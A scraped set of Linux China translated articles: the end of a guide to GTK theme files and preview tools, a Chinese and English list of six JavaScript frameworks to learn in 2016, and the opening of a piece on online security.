`index.theme` 含有元数据(比如主题的名字)和一些重要的配置(比如按钮的布局)。下面是 Ambiance 主题的 `index.theme` 文件内容。
```
[Desktop Entry]
Type=X-GNOME-Metatheme
Name=Ambiance
Comment=Ubuntu Ambiance theme
Encoding=UTF-8
[X-GNOME-Metatheme]
GtkTheme=Ambiance
MetacityTheme=Ambiance
IconTheme=ubuntu-mono-dark
CursorTheme=DMZ-White
ButtonLayout=close,minimize,maximize:
X-Ubuntu-UseOverlayScrollbars=true
```
`gtk-2.0` 目录包括支持 GTK2 的文件,比如文件 `gtkrc` 和文件夹 `apps`。文件夹 `apps` 包括具体程序的 GTK 配置。文件 `gtkrc` 是 GTK2 部分的主要 CSS 文件。下面是 `/usr/share/themes/Ambiance/gtk-2.0/apps/nautilus.rc` 文件的内容。
```
# ==============================================================================
# NAUTILUS SPECIFIC SETTINGS
# ==============================================================================
style "nautilus_info_pane" {
bg[NORMAL] = @bg_color
}
widget_class "*Nautilus*<GtkNotebook>*<GtkEventBox>" style "nautilus_info_pane"
widget_class "*Nautilus*<GtkButton>" style "notebook_button"
widget_class "*Nautilus*<GtkButton>*<GtkLabel>" style "notebook_button"
```
`gtk-3.0` 目录里是 GTK3 的文件。GTK3 使用 `gtk.css` 取代了 `gtkrc` 作为主文件。对于 Ambiance 主题,此文件有一行 `@import url("gtk-main.css");`。`settings.ini` 包含重要的主题级配置。GTK3 主题的 `apps` 目录和 GTK2 有同样的作用。`assets` 目录里有单选按钮、多选框等的图像文件。下面是 `/usr/share/themes/Ambiance/gtk-3.0/gtk-main.css` 的内容。
```
/*default color scheme */
@define-color bg_color #f2f1f0;
@define-color fg_color #4c4c4c;
@define-color base_color #ffffff;
@define-color text_color #3C3C3C;
@define-color selected_bg_color #f07746;
@define-color selected_fg_color #ffffff;
@define-color tooltip_bg_color #000000;
@define-color tooltip_fg_color #ffffff;
/* misc colors used by gtk+
*
* Gtk doesn't currently expand color variables for style properties. Thus,
* gtk-widgets.css uses literal color names, but includes a comment containing
* the name of the variable. Please remember to change values there as well
* when changing one of the variables below.
*/
@define-color info_fg_color rgb (181, 171, 156);
@define-color info_bg_color rgb (252, 252, 189);
@define-color warning_fg_color rgb (173, 120, 41);
@define-color warning_bg_color rgb (250, 173, 61);
@define-color question_fg_color rgb (97, 122, 214);
@define-color question_bg_color rgb (138, 173, 212);
@define-color error_fg_color rgb (235, 235, 235);
@define-color error_bg_color rgb (223, 56, 44);
@define-color link_color @selected_bg_color;
@define-color success_color #4e9a06;
@define-color error_color #df382c;
/* theme common colors */
@define-color button_bg_color shade (@bg_color, 1.02); /*shade (#cdcdcd, 1.08);*/
@define-color notebook_button_bg_color shade (@bg_color, 1.02);
@define-color button_insensitive_bg_color mix (@button_bg_color, @bg_color, 0.6);
@define-color dark_bg_color #3c3b37;
@define-color dark_fg_color #dfdbd2;
@define-color backdrop_fg_color mix (@bg_color, @fg_color, 0.8);
@define-color backdrop_text_color mix (@base_color, @text_color, 0.8);
@define-color backdrop_dark_fg_color mix (@dark_bg_color, @dark_fg_color, 0.75);
/*@define-color backdrop_dark_bg_color mix (@dark_bg_color, @dark_fg_color, 0.75);*/
@define-color backdrop_selected_bg_color shade (@bg_color, 0.92);
@define-color backdrop_selected_fg_color @fg_color;
@define-color focus_color alpha (@selected_bg_color, 0.5);
@define-color focus_bg_color alpha (@selected_bg_color, 0.1);
@define-color shadow_color alpha(black, 0.5);
@define-color osd_fg_color #eeeeec;
@define-color osd_bg_color alpha(#202526, 0.7);
@define-color osd_border_color alpha(black, 0.7);
@import url("gtk-widgets-borders.css");
@import url("gtk-widgets-assets.css");
@import url("gtk-widgets.css");
@import url("apps/geary.css");
@import url("apps/unity.css");
@import url("apps/baobab.css");
@import url("apps/gedit.css");
@import url("apps/nautilus.css");
@import url("apps/gnome-panel.css");
@import url("apps/gnome-terminal.css");
@import url("apps/gnome-system-log.css");
@import url("apps/unity-greeter.css");
@import url("apps/glade.css");
@import url("apps/california.css");
@import url("apps/software-center.css");
@import url("public-colors.css");
```
`metacity-1` 文件夹含有 Metacity 窗口管理器按钮(比如“关闭窗口”按钮)的图像文件。此目录还有一个名为 `metacity-theme-1.xml` 的文件,包括了主题的元数据(像开发者的名字)和主题设计。然而,主题的 Metacity 部分使用 XML 文件而不是 CSS 文件。
`unity` 文件夹含有 Unity 按钮使用的 SVG 文件。除了 SVG 文件,这里没有其他的文件。
一些主题可能也会包含其他的目录。比如, Clearlooks-Phenix 主题有名为 `openbox-3` 和 `xfwm4` 的文件夹。`openbox-3` 文件夹仅有一个 `themerc` 文件,声明了主题配置和外观(下面有文件示例)。`xfwm4` 目录含有几个 xpm 文件、几个 png 图像文件(在 `png` 文件夹里)、一个 `README` 文件,还有个包含了主题配置的 `themerc` 文件(就像下面看到的那样)。
/usr/share/themes/Clearlooks-Phenix/xfwm4/themerc
```
# Clearlooks XFWM4 by Casey Kirsle
show_app_icon=true
active_text_color=#FFFFFF
inactive_text_color=#939393
title_shadow_active=frame
title_shadow_inactive=false
button_layout=O|HMC
button_offset=2
button_spacing=2
full_width_title=true
maximized_offset=0
title_vertical_offset_active=1
title_vertical_offset_inactive=1
```
/usr/share/themes/Clearlooks-Phenix/openbox-3/themerc
```
!# Clearlooks-Evolving
!# Clearlooks as it evolves in gnome-git...
!# Last updated 09/03/10
# Fonts
# these are really halos, but who cares?
*.font: shadow=n
window.active.label.text.font:shadow=y:shadowtint=30:shadowoffset=1
window.inactive.label.text.font:shadow=y:shadowtint=00:shadowoffset=0
menu.items.font:shadow=y:shadowtint=0:shadowoffset=1
!# general stuff
border.width: 1
padding.width: 3
padding.height: 2
window.handle.width: 3
window.client.padding.width: 0
menu.overlap: 2
*.justify: center
!# lets set our damn shadows here, eh?
*.bg.highlight: 50
*.bg.shadow: 05
window.active.title.bg.highlight: 35
window.active.title.bg.shadow: 05
window.inactive.title.bg.highlight: 30
window.inactive.title.bg.shadow: 05
window.*.grip.bg.highlight: 50
window.*.grip.bg.shadow: 30
window.*.handle.bg.highlight: 50
window.*.handle.bg.shadow: 30
!# Menu settings
menu.border.color: #aaaaaa
menu.border.width: 1
menu.title.bg: solid flat
menu.title.bg.color: #E6E7E6
menu.title.text.color: #111111
menu.items.bg: Flat Solid
menu.items.bg.color: #ffffff
menu.items.text.color: #111111
menu.items.disabled.text.color: #aaaaaa
menu.items.active.bg: Flat Gradient splitvertical border
menu.items.active.bg.color: #97b8e2
menu.items.active.bg.color.splitTo: #a8c5e9
menu.items.active.bg.colorTo: #91b3de
menu.items.active.bg.colorTo.splitTo: #80a7d6
menu.items.active.bg.border.color: #4b6e99
menu.items.active.text.color: #ffffff
menu.separator.width: 1
menu.separator.padding.width: 0
menu.separator.padding.height: 3
menu.separator.color: #aaaaaa
!# set handles here and only the once?
window.*.handle.bg: Raised solid
window.*.handle.bg.color: #eaebec
window.*.grip.bg: Raised solid
window.*.grip.bg.color: #eaebec
!# Active
window.*.border.color: #585a5d
window.active.title.separator.color: #4e76a8
*.title.bg: Raised Gradient splitvertical
*.title.bg.color: #8CB0DC
*.title.bg.color.splitTo: #99BAE3
*.title.bg.colorTo: #86ABD9
*.title.bg.colorTo.splitTo: #7AA1D1
window.active.label.bg: Parentrelative
window.active.label.text.color: #ffffff
window.active.button.*.bg: Flat Gradient splitvertical Border
window.active.button.*.bg.color: #92B4DF
window.active.button.*.bg.color.splitTo: #B0CAEB
window.active.button.*.bg.colorTo: #86ABD9
window.active.button.*.bg.colorTo.splitTo: #769FD0
window.active.button.*.bg.border.color: #49678B
window.active.button.*.image.color: #F4F5F6
window.active.button.hover.bg.color: #b5d3ef
window.active.button.hover.bg.color.splitTo: #b5d3ef
window.active.button.hover.bg.colorTo: #9cbae7
window.active.button.hover.bg.colorTo.splitTo: #8caede
window.active.button.hover.bg.border.color: #4A658C
window.active.button.hover.image.color: #ffffff
window.active.button.pressed.bg: Flat solid Border
window.active.button.pressed.bg.color: #7aa1d2
window.active.button.hover.bg.border.color: #4A658C
!# inactive
!#window.inactive.border.color: #7e8285
window.inactive.title.separator.color: #96999d
window.inactive.title.bg: Raised Gradient splitvertical
window.inactive.title.bg.color: #E3E2E0
window.inactive.title.bg.color.splitTo: #EBEAE9
window.inactive.title.bg.colorTo: #DEDCDA
window.inactive.title.bg.colorTo.splitTo: #D5D3D1
window.inactive.label.bg: Parentrelative
window.inactive.label.text.color: #70747d
window.inactive.button.*.bg: Flat Gradient splitVertical Border
window.inactive.button.*.bg.color: #ffffff
window.inactive.button.*.bg.color.splitto: #ffffff
window.inactive.button.*.bg.colorTo: #F9F8F8
window.inactive.button.*.bg.colorTo.splitto: #E9E7E6
window.inactive.button.*.bg.border.color: #928F8B
window.inactive.button.*.image.color: #6D6C6C
!# osd (pop ups and what not, dock?)
osd.border.width: 1
osd.border.color: #aaaaaa
osd.bg: flat border gradient splitvertical
osd.bg.color: #F0EFEE
osd.bg.color.splitto: #f5f5f4
osd.bg.colorTo: #EAEBEC
osd.bg.colorTo.splitto: #E7E5E4
osd.bg.border.color: #ffffff
osd.active.label.bg: parentrelative
osd.active.label.bg.color: #efefef
osd.active.label.bg.border.color: #9c9e9c
osd.active.label.text.color: #444
osd.inactive.label.bg: parentrelative
osd.inactive.label.text.color: #70747d
!# yeah whatever, this is fine anyhoo?
osd.hilight.bg: flat vertical gradient
osd.hilight.bg.color: #9ebde5
osd.hilight.bg.colorTo: #749dcf
osd.unhilight.bg: flat vertical gradient
osd.unhilight.bg.color: #BABDB6
osd.unhilight.bg.colorTo: #efefef
```
### 测试主题
在创作主题时,测试主题并且微调代码对得到想要的样子是很有帮助的。有相当的开发者想要用到“主题预览器”这样的工具。幸运的是,已经有了。
* GTK+ Change Theme - 这个程序可以更改 GTK 主题,开发者可以用它预览主题。这个程序由一个含有很多构件的窗口组成,因此可以为主题提供一个完整的预览。要安装它,只需输入命令 `apt-get install gtk-chtheme`。
* GTK Theme Switch - 用户可以使用它轻松地更换用户主题。测试主题时确保打开了一些应用,方便预览效果。要安装它,只需输入命令 `apt-get install gtk-theme-switch`,然后在终端敲出 `gtk-theme-switch2` 即可运行。
* LXappearance - 它可以更换主题,图标以及字体。
* PyWF - 这是基于 Python 开发的一个 The Widget Factory 的替代品。可以在 <http://gtk-apps.org/content/show.php/PyTWF?content=102024> 获取 PyWF。
* The Widget Factory - 这是一个古老的 GTK 预览器。要安装它,只需输入命令 `apt-get install thewidgetfactory`,然后在终端敲出 `twf` 即可运行。
### 主题下载
* Cinnamon - <http://gnome-look.org/index.php?xcontentmode=104>
* Compiz - <http://gnome-look.org/index.php?xcontentmode=102>
* GNOME Shell - <http://gnome-look.org/index.php?xcontentmode=191>
* GTK2 - <http://gnome-look.org/index.php?xcontentmode=100>
* GTK3 - <http://gnome-look.org/index.php?xcontentmode=167>
* KDE/Qt - <http://kde-look.org/index.php?xcontentmode=8x9x10x11x12x13x14x15x16>
* Linux Mint Themes - <http://linuxmint-art.org/index.php?xcontentmode=9x14x100>
* Metacity - <http://gnome-look.org/index.php?xcontentmode=101>
* Ubuntu Themes - <http://www.ubuntuthemes.org/>
### 延伸阅读
* Graphical User Interface (GUI) Reading Guide - <http://www.linux.org/threads/gui-reading-guide.6471/>
* GTK - <http://www.linux.org/threads/understanding-gtk.6291/>
* Introduction to Glade - <http://www.linux.org/threads/introduction-to-glade.7142/>
* Desktop Environment vs Window Managers - <http://www.linux.org/threads/desktop-environment-vs-window-managers.7802/>
* Official GTK+ 3 Reference Manual - <https://developer.gnome.org/gtk3/stable/>
* GtkCssProvider - <https://developer.gnome.org/gtk3/stable/GtkCssProvider.html>
---
via: <http://www.linux.org/threads/installing-obtaining-and-making-gtk-themes.8463/>
作者:[DevynCJohnson](http://www.linux.org/members/devyncjohnson.4843/) 译者:[fuowang](https://github.com/fuowang) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 301 | Moved Permanently | null |
8,229 | 6 个值得好好学习的 JavaScript 框架 | http://www.discoversdk.com/blog/6-best-javascript-frameworks-to-learn-in-2016 | 2017-02-22T13:06:00 | [
"JavaScript",
"框架",
"AngularJS"
] | https://linux.cn/article-8229-1.html | 
**常言道,条条大路通罗马,可是那一条适合我呢?** 由于用于构建前端页面等现代技术的出现,JavaScript 在 Web 开发社区早已是如雷贯耳。通过在网页上编写几个函数并提供执行逻辑,可以很好的支持 HTML (主要是用于页面的 *表现* 或者 *布局*)。如果没有 JavaScript,那页面将没有任何 *交互特性* 可言。
现在的框架和库已经从蛮荒时代崛起了,很多老旧的技术纷纷开始将功能分离成模块。现在不再需要在整个核心语言中支持所有特性了,开发者允许所有用户创建库和框架来增强核心语言的功能。这样,语言的灵活性获得了显著提高。
如果在已经在使用 **JavaScript** (以及 **JQuery**) 来支持 HTML,那么你肯定知道开发和维护一个大型应用需要付出多大的努力以及编写多么复杂的代码,而 JavaScript 框架可以帮助你快速的构建交互式 Web 应用 (包含单页面应用或者多页面应用)。
当一个新手开发者想要学习 JavaScript 时,他常常会被各种 JavaScript 框架所吸引,也幸亏有为数众多的社区,任何开发者都可以轻易地通过在线教程或者其他资源来学习。
但是,唉!多数的程序员都很难决定学习和使用哪一个框架。因此在本文中,我将为大家推荐 6 个值得好好学习的 JavaScript 框架。让我们开始吧。
### 1、AngularJS

**(注:这是我个人最喜欢的框架)**
无论你是何时听说的 JavaScript,很可能你早就听过 AngularJS,因为这是在 JavaScript 社区中最为广泛使用的框架了。它发布于 2009 年,由 Google 开发 (这够有说服力让你使用了吧) ,它是一个开源项目,这意味着你可以阅读、编辑和修改其源代码以便更加符合自身的需求,并且不用向其开发者支付一分钱 (这不是很酷吗?)。
如果说你觉得通过纯粹的 JavaScript 代码编写一个复杂的 Web 应用比较困难的话,那么你肯定会兴奋的跳起来,因为它将显著地减轻你的编码负担。它符合支持双向数据绑定的 MVC (<ruby> 模型-视图-控制 <rp> ( </rp> <rt> Model–view–controller </rt> <rp> ) </rp></ruby>) 设计典范。假如你不熟悉 MVC,你只需要知道它代表着无论何时探测到某些变化,它将自动更新前端 (比如,用户界面端) 和后端 (代码或者服务器端) 数据。
MVC 可以大大减少构建复杂应用程序所需的时间和精力,所以你只需要集中精力于一处即可 (DOM 编程接口会自动同步更新视图和模型)。由于 *视图组件* 与 *模型组件* 是分离的,你可以很容易的创建一个可复用的组件,使得用户界面的效果非常好看。
如果因为某些原因,你已经使用了 **TypeScript** (一种与 JavaScript 非常相似的语言),那么你可以很容易就上手 AngularJS,因为这两者的语法高度相似。与 **TypeScript** 相似这一特点在一定程度上提升了 AngularJS 的受欢迎程度。
目前,Angular 2.0 已经发布,并且提升了移动端的性能,这也足以向一个新的开发者证明,该框架的开发活跃度够高并且定期更新。
AngularJS 有着大量的用户,包括 (但不限于) Udemy、Forbes、GoDaddy、Ford、NBA 和 Oscars。
对于那些想要一个高效的 MVC 框架,用来开发面面俱到、包含健壮且现代化的基础架构的单页应用的用户来说,我极力的推荐这个框架。这是为无经验 JavaScript 开发者设计的首选框架。
### 2、React

与 AngularJS 相似,React 也是一个 MVC (<ruby> 模型-视图-控制 <rp> ( </rp> <rt> Model–view–controller </rt> <rp> ) </rp></ruby>) 类型的框架,但不同的是,它完全针对于 *视图组件* (因为它是为 UI 特别定制的) ,并且可与任何架构进行无缝衔接。这意味着你可以马上将它运用到你的网站中去。
它从核心功能中抽象出 DOM 编程接口 (并且因此使用了虚拟 DOM),所以你可以快速渲染 UI,这使得你能够通过 *node.js* 将它作为一个客户端框架来使用。它是由 Facebook 开发的开源项目,还有其它的开发者为它贡献了代码。
假如说你见到过并喜欢 Facebook 和 Instagram 的界面,那么你将会爱上 React。通过 React,你可以给你的应用的每个状态设计一个简单的视图,当数据改变的时候,视图也自动随之改变。只要你想的话,可以创建各种的复杂 UI,也可以在任何应用中复用它。在服务器端,React 同样支持通过 *node.js* 来进行渲染。对于其他的接口,React 也一样表现得足够灵活。
除 Facebook 和 Instagram 外,还有好多公司也在使用 React,包括 Whatsapp、BBC、PayPal、Netflix 和 Dropbox 等。
如果你只需要一个前端开发框架来构建一个非常复杂且界面极好的强大视图层,那我极力向你推荐这个框架,但你需要有足够的经验来处理各种类型的 JavaScript 代码,而且你再也不需要其他的组件了 (因为你可以自己集成它们)。
### 3、Ember

这个 JavaScript 框架在 2011 年正式发布,是由 *Yehuda Katz* 开发的开源项目。它有一个庞大且活跃的在线社区,所以在有任何问题时,你都可以在社区中提问。该框架吸收融合了非常多的通用的 JavaScript 风格和经验,以便确保开发者能最快地做到开箱即用。
它使用了 MVVM (<ruby> 模型-视图-视图模型 <rp> ( </rp> <rt> Model–view–viewmodel </rt> <rp> ) </rp></ruby>) 的设计模式,这使得它与 MVC 有些不一样,因为它由一个 *连接器 (binder)* 帮助视图和数据连接器进行通信。
对于 DOM 编程接口的快速服务端渲染,它借助了 *Fastboot.js*,这能够让那些复杂 UI 的性能得到极大提高。
它的现代化路由模式和模型引擎还支持 *RESTful API*,这确保你可以使用到这种最新的技术。它支持<ruby> 句柄集成模板 <rp> ( </rp> <rt> Handlebars integrated template </rt> <rp> ) </rp></ruby>,用来自动更新数据。
早在 2015 年间,它的风头曾一度盖过 AngularJS 和 React,被称为最好的 JavaScript 框架,对于它在 JavaScript 社区中的可用性和吸引力,这样的说服力该是足够了的。
对于不追求高灵活性和大型架构的用户,并且仅仅只是为了赶赴工期、完成任务的话,我个人非常推荐这个 JavaScript 框架。
### 4、Adonis

如果你曾使用过 *Laravel* 和 *NodeJS*,那么你在使用这一个框架之时会觉得相当顺手,因为它是集合了这两个平台的优点而形成的一个框架,对于任何种类的现代应用来说,它都显得非常专业、圆润和精致。
它使用了 *NodeJS*,所以是一个很好的后端框架,同时还附带有一些前端特性 (与前面提到那些更多地注重前端的框架不同),所以想要进入后端开发的新手开发者会发觉这个框架相当迷人。
相比于 *NoSQL*,很多的开发者都比较喜欢使用 *SQL* 数据库 (因为他们需要增强和数据以及其它特性的交互性),这一现象在这个框架中得到了很好的体现,这使得它更接近标准,开发者也更容易使用。
如果你混迹于各类 PHP 社区,那你一定很熟悉 <ruby> 服务提供者 <rp> ( </rp> <rt> Service Providers </rt> <rp> ) </rp></ruby>,也由于 Adonis 其中包含相应的 PHP 风格,所以在使用它的时候,你会觉得似曾相识。
在它所有的特性中,最好的便是那个极为强大的路由引擎,支持使用函数来组织和管理应用的所有状态、支持错误处理机制、支持通过 SQL ORM 来进行数据库查询、支持生成器、支持<ruby> 箭头函数 <rp> ( </rp> <rt> arrow functions </rt> <rp> ) </rp></ruby>、支持代理等等。
如果喜欢使用无状态 REST API 来构建服务器端应用,我比较推荐它,你会爱上这个框架的。
### 5、Vue.js

这是一个开源的 JavaScript 框架,发布于 2014 年,它有个极为简单的 API,用来为<ruby> 现代 Web 界面 <rp> ( </rp> <rt> Modern Web Interface </rt> <rp> ) </rp></ruby>开发<ruby> 交互式组件 <rp> ( </rp> <rt> Reactive components </rt> <rp> ) </rp></ruby>。其设计着重于简单易用。与 Ember 相似,它使用的是 MVVM (<ruby> 模型-视图-视图模型 <rp> ( </rp> <rt> Model–view–viewmodel </rt> <rp> ) </rp></ruby>) 设计范例,这样简化了设计。
这个框架最有吸引力的一点是,你可以根据自身需求来选择使用的模块。比如,你需要编写简单的 HTML 代码,抓取 JSON,然后创建一个 Vue 实例来完成可以复用的小特效。
与之前的那些 JavaScript 框架相似,它使用双路数据绑定来更新模型和视图,同时也使用连接器来完成视图和数据连接器的通信。这是一个还未完全成熟的框架,因为它全部的关注点都在视图层,所以你需要自己处理其它组件。
如果你熟悉 *AngularJS*,那你会感觉很顺手,因为它大量嵌入了 *AngularJS* 的架构,如果你懂得 JavaScript 的基础用法,那你的许多项目都可以轻易地迁移到该框架之下。
假如你只想把任务完成,或者想提升你自身的 JavaScript 编程经验,又或者你需要学习不同的 JavAScript 框架的本质,我极力推荐这个。
### 6、Backbone.js

这个框架可以很容易的集成到任何第三方的模板引擎中,默认使用的是 *Underscore* 模板引擎,而且该框架仅有一个依赖项 (**JQuery**),因此它以轻量而闻名。它支持带有 **RESTful JSON** 接口的 MVC (<ruby> 模型-视图-控制 <rp> ( </rp> <rt> Model–view–controller </rt> <rp> ) </rp></ruby>) (可以自动更新前端和后端) 设计范例。
假如你曾经使用过著名的社交新闻网络服务 **reddit**,那么你肯定听说过它在几个单页面应用中使用了 **Backbone.js**。**Backbone.js** 的原作者为之建立了与 *CoffeScript* 旗鼓相当的 *Underscore* 模板引擎,所以你可以放心,开发者知道该做什么。
该框架在一个软件包中提供了<ruby> 键值对 <rp> ( </rp> <rt> key-value </rt> <rp> ) </rp></ruby> 模型、视图以及几个打包的模块,所以你不需要额外下载其他的外部包,这样可以节省不少时间。框架的源码可以在 GitHub 进行查看,你可以根据需求进行深度定制。
如果你在寻找一个入门级框架来快速构建一个单页面应用,那么这个框架非常适合你。
### 总而言之
至此,我已经在本文着重说明了 6 个值得好好学习的 JavaScript 框架,希望你读完本文后能够决定使用哪个框架来完成自己的任务。
如果说对于选择框架,你还是不知所措,请记住,这个世界是实践出真知而非教条主义的。最好就是从列表中挑选一个来使用,看看最后是否满足你的需求和兴趣,如果还是不行,接着试试另一个。你也尽管放心好了,列表中的框架肯定是足够了的。
---
译者简介:
[GHLandy](http://GHLandy.com) —— 生活中所有欢乐与苦闷都应藏在心中,有些事儿注定无人知晓,自己也无从说起。
---
via: <http://www.discoversdk.com/blog/6-best-javascript-frameworks-to-learn-in-2016>
作者:[Danyal Zia](http://www.discoversdk.com/blog/6-best-javascript-frameworks-to-learn-in-2016) 译者:[GHLandy](https://github.com/GHLandy) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出
| 200 | OK | # 6 Best JavaScript Frameworks to Learn In 2016
**If all roads lead to Rome, which one should we take? **JavaScript has been known in the web development community since the arrival of modern technologies that helped in the building of the front-end of websites. It supports HTML (that is used for the *presentation *or *layout *of the pages) by extending its several functionalities and providing the logical executions on the website. Without it, websites can't have any *interactive *features.
The modern culture of Frameworks and Libraries has risen from the abyss when older technologies started to separate the functionalities into modules. Now, instead of supporting everything in the core language, the developers made it free for everyone to create libraries and frameworks that enhance the functionality of the core language. This way, the flexibility of the language has been increased dramatically.
If you have been using **JavaScript **(along with **JQuery**) to support HTML, then you know that it requires a great deal of effort and complex in code to develop and the maintain a large application. JavaScript Frameworks help to quickly build interactive web applications (which includes both single page and multiple page applications).
When a newbie developer wants to learn JavaScript, he is usually attracted to JavaScript Frameworks which, thanks to the huge rise in their communities, any developer can easily learn from online tutorials and other resources.
But, alas! Most programmers find it hard to decide which framework to learn and use from. Thus, in this article, I am going to highlight the 6 Best JavaScript Frameworks to learn in 2016. Let's get started!
**6 Best JavaScript Frameworks to Learn In 2016**
**1) AngularJS**
**(Note: This is my personal favorite JavaScript Framework)**
Whenever someone hears about JavaScript, there is a high probability that they have already heard about AngularJS, as this is the most commonly used JavaScript Framework among the JavaScript community. Released in 2009, it was developed by Google (which is convincing enough to use it), and it's an open-source project, which means you can read, edit and modify the original source code for your specific needs without giving any money to its developers (isn't that cool?).
If you have difficulty building complex web applications through pure JavaScript code, then you will jump out of your seat in excitement to know that it will dramatically ease your life. It supports the **MVC (Model–view–controller)** design paradigm which supports standard two-way data binding. In case you are not familiar with MVC, then know that it just means that your data is updated on both the front-end (i.e. user-interface side) and back-end (i.e. coding or server side) whenever it detects some changes in the engine.
MVC drastically reduces the time and efforts needed for building complex applications, as you need to focus on one area at a time (because DOM programming interface synchronizes the view and the model). As the *View *components are separated from the *Model *components, you can easily build reusable components for amazing and cool looking user-interfaces!
If for any reason, you have used [TypeScript ](http://www.discoversdk.com/products/typescript)(which is a language similar to JavaScript), then you will feel at home with AngularJS, as its syntax highly resembles the TypeScript syntax. This choice was made to attract the audience as **TypeScript **was gaining popularity.
Angular 2.0 has recently been released, which claims to improve the performance of mobile, which is enough to convince new developers that this framework is high in development and updates regularly.
There are many users of AngularJS, including (but not limited to) Udemy, Forbes, GoDaddy, Ford, NBA, The Oscars, etc.
This JavaScript Framework is highly recommended for anyone who wants a powerful MVC framework with a strong and modern infrastructure that takes care of everything for you to build single page applications. This should be the first stop-shop for any experienced JavaScript developer.
**2) React**
Similar to AngularJS, React is also an **MVC (Model-View-Controller) **type framework, however, it focuses entirely on the *View *components (as it was specifically designed for the UI) and can be seamlessly integrated with any architecture. This means you can use it right away for your websites!
It abstracts the DOM programming interface (and thus uses the virtual DOM) from the core functionality, so you get extremely fast rendering of the UI, which enables you to use it from [node.js](http://www.discoversdk.com/products/node.js) as a client-side framework. It was developed as an open-source project by Facebook with various contributions from other people.
If you have seen and like Facebook and Instagram’s interfaces, then you will love React. Through React, you can design simple views for each state in your application, and when the data changes, then it updates automatically. Any kind of complex UIs can be created, which can be reused in whatever applications you want. For the servers, React also supports rendering using ** node.js**. React is flexible enough to use with other interfaces.
Apart from Facebook and Instagram, there are several companies that use React, including Whatsapp, BBC, PayPal, Netflix, Dropbox, etc.
I would highly recommend this Framework if you just need a front-end development Framework to build an incredibly complex and awesome UI through the power View Layers, but you are experienced enough to handle any kind of JavaScript code, and when you don't require the other components (as you can integrate them yourself).
**3) Ember**
This JavaScript Framework was released in 2011 as an open-source project by *Yehuda Katz*. It has a huge active community online, so the moment you face any problem, you can ask them. It uses many common JavaScript idioms and best practices to ensure that developers get the best right out of the box.
It uses **Model–view–viewmodel (MVVM) **design pattern, which is slightly different than MVC in the sense that it has a *binder *to help the communication between the view and data binder.
For the fast server-side rendering of a DOM programming interface, it takes the help of ** Fastboot.js**, so the resulting applications have extremely enhanced performance of complex UIs.
Its modern routing and model engine supports ** RESTful APIs**, so you are ensured that you are using the latest technology. It supports Handlebars integrated templates that update the data changes automatically.
In 2015, it was named the best JavaScript Framework, competing against AngularJS and React, which should be enough to convince you about its usability and desirability in the JavaScript community.
I would personally highly recommended this JavaScript Framework to those who don't necessarily need great flexibility or a large infrastructure, and just prefer to get things done for coping with deadlines.
**4) Adonis**
If you have ever used *Laravel *and *NodeJS*, then you will feel extremely comfortable using this Framework, as it combines the power of these both platforms resulting in an entity that looks incredibly professional, polished and yet sophisticated for any kind of modern application.
It uses *NodeJS*, and thus it's pretty much a back-end framework with several front-end features (unlike the previous JavaScript Frameworks that I mentioned that were mostly front-end frameworks), so newbie developers who are into back-end development will find this framework quite attractive.
Many developers prefer *SQL *databases (due to their increased interaction with data and several other features) over *NoSQL*, so this is reflected in this framework, which makes it relatively more compliant with the standard and more accessible to the average developer.
If you are the part of any PHP community, then you must know about the **Service Providers**, thankfully, Adonis also has the same PHP like flavour in it, so you will feel at home using it.
Of all its best features, it has an extremely powerful routing engine which supports all the functions for organizing and managing application states, an error handling mechanism, SQL ORM for writing database queries, generators, arrow functions, proxies and so on.
I would recommend this Framework if you love to use stateless REST APIs for building server-side applications, as you will be quite attracted to it.
**5) Vue.js**
This open-source JavaScript framework was released in 2014, supporting an extremely simple API for developing the *Reactive *components for Modern Web Interfaces. Its design emphasized the ease of use. Like Ember, it uses the **Model–view–viewmodel (MVVM) **design paradigm which helpes in the simplification of the design.
The attractive feature in this framework is that you can use selective modules with it for your specific needs. For example, you need to write simple HTML code, grab the JSON and create a Vue instance to create the small effects that can reused!
Similar to previous JavaScript Frameworks, it uses two-way data binding to update the model and view, plus it also uses binder for communication between the view and data binder. This is not a full-blown Framework as it focuses entirely on the View Layer, so you would need to take care of other components on your own.
If you are familiar with ** AngularJS**, then you will feel at home here, as it heavily incorporates the architecture of
**, so many projects can be easily transferred to this Framework if you know the basics of JavaScript.**
*AngularJS*I would highly recommend this JavaScript Framework if you just want to get things done or gain JavaScript programming experience, or if you need to learn the nature of different JavaScript Frameworks.
**6) Backbone.js**
This framework can be easily integrated to any third-party template engine, however, by default it supports *Underscore *templates, which is the only dependency (along with **JQuery**), thus it is known for its extremely lightweight nature. It has the **RESTful JSON **interface with the support of **MVC (Model–view–controller)** design paradigm (that updates the front-end and back-end automatically).
If you ever used the famous social news networking service **reddit**, then you will be interested to hear that it uses the **Backbone.js **for several of its single-page applications. The original author of the **Backbone.js** created the *Underscore *templates as well as *CoffeScript*, so you are assured that the developer knows his stuff.
This framework provides models with key-value, views and several modules within a single bundle, so you don't need to download the other external packages, saving you time. The source-code is available on Github, which means you can further modify it for your needs.
If you are just looking for a startup framework to quickly build single-page applications, then this framework is for you.
**Conclusion**
So, I have just highlighted the 6 Best JavaScript Frameworks in this article in the hopes that it will help you determine the best JavaScript Framework for your tasks.
If you’re still having trouble deciding the best JavaScript Framework out there, then please understand that the world values action and not perfectionism; it's better to pick any from the list and then find out if it suits your interests, and if it doesn't then just try the next one. Rest assured though that any Framework from the list will be good enough.
Recently we have released an updated article entitled [5 JavaScript Frameworks to learn in 2017](http://www.discoversdk.com/blog/5-javascript-frameworks-to-learn-in-2017). Take a look and see what's changed since last year! Think we've missed something? Feel free to comment below.
## Recent Stories
### Top DiscoverSDK Experts

[View Profile](/expert/activity/4)
[Show All](/expert/list)
## Compare Products
Select up to three two products to compare by clicking on the compare icon () of each product.
{{compareToolModel.Error}}### Now comparing:
[X]
[Compare Now]
## {{CommentsModel.TotalCount}} Comments
## Your Comment |
8,230 | 四种立即改善在线安全的方法 | https://opensource.com/article/17/1/4-ways-improve-your-online-security | 2017-02-23T07:57:00 | [
"安全",
"隐私",
"VPN",
"密码"
] | /article-8230-1.html | 过去几年来,关于数字安全漏洞和个人隐私问题的报道频率大幅上升,毫无疑问,这一趋势仍将继续。我们时常听说诈骗者转移到社交媒体,国家将网络攻击作为协调进攻策略的一部分,以及追踪我们在线行为的公司挣到了大钱,快速崛起。
